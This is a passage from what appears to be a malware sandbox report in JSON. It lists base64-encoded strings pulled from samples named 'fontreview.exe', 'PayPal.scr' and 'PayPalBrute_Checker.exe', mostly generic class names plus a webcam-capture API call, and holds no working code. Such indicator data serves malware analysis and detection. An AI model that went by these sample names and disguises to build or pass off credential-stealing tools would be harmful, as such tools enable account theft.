File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUluc3RhbmNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUludGVycHJldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUludm9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZU1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZU1hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZU1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZU1lc3NhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZU1ldGhvZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZU1vY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZU9yZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVBhcmFt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVBhcnNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVBvb2w=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVByZWRpY2F0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVByaW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVByb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVByb2Nlc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVByb2R1Y2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVByb3h5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVF1ZXVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlY29yZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJ1bGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVJ1bGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVNlcmlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVNldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVN0YXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVN0YXR1cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVN0cmF0ZWd5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRhc2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRlbXBsYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRlc3Rz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVRva2VuaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVV0aWxz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVZhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVZhbHVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVZpc2l0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVdhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVdyYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmFpbHVyZVdyaXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsR2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW5kZXhlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW52b2NhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSXRlbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsTGlzdGVuZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsTWVzc2FnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsTWV0aG9k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsT2JqZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsT2JzZXJ2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUGFyYW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUGFyYW1z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUGFyc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJvYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJvdG90eXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUHVibGlzaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUm9sZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUnVsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU2VydmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU3RhdHVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU3RydWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsU3lzdGVt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVGFzaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVXRpbHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsV3JpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlQ29uZmlnUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlR2xvYmFsU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlUmVxdWVzdEVudHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlU2NoZW1hQ2xhc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlU2VydmljZUxpY2Vuc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlU3BlY2lmaWNhdGlvbkxpc3RlbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlU3R1YlN0cnVjdEJ1aWxkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuZGlkYXRlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZGlkYXRlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FuZmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2Fubm90IGNyZWF0ZSBoYXJkIGxpbmsgJXMoWW91IG5lZWQgdG8gdW5wYWNrIHRoZSBsaW5rIHRhcmdldCBmaXJzdA==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2Fubm90IG9wZW4gJXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuV3JpdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FwYWJpbGl0aWVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FwYWJpbGl0aWVz","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y2FwQ3JlYXRlQ2FwdHVyZVdpbmRvd0E=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2F0YWxvZ0xvY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2F0YWxvZ1NlcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2F0ZWdvcnk=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y2F0ZWdvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2F1Y2FzaWFuX0FsYmFuaWFu","type":"Ansi","source":"Memory/File Scan","process":"PayPal 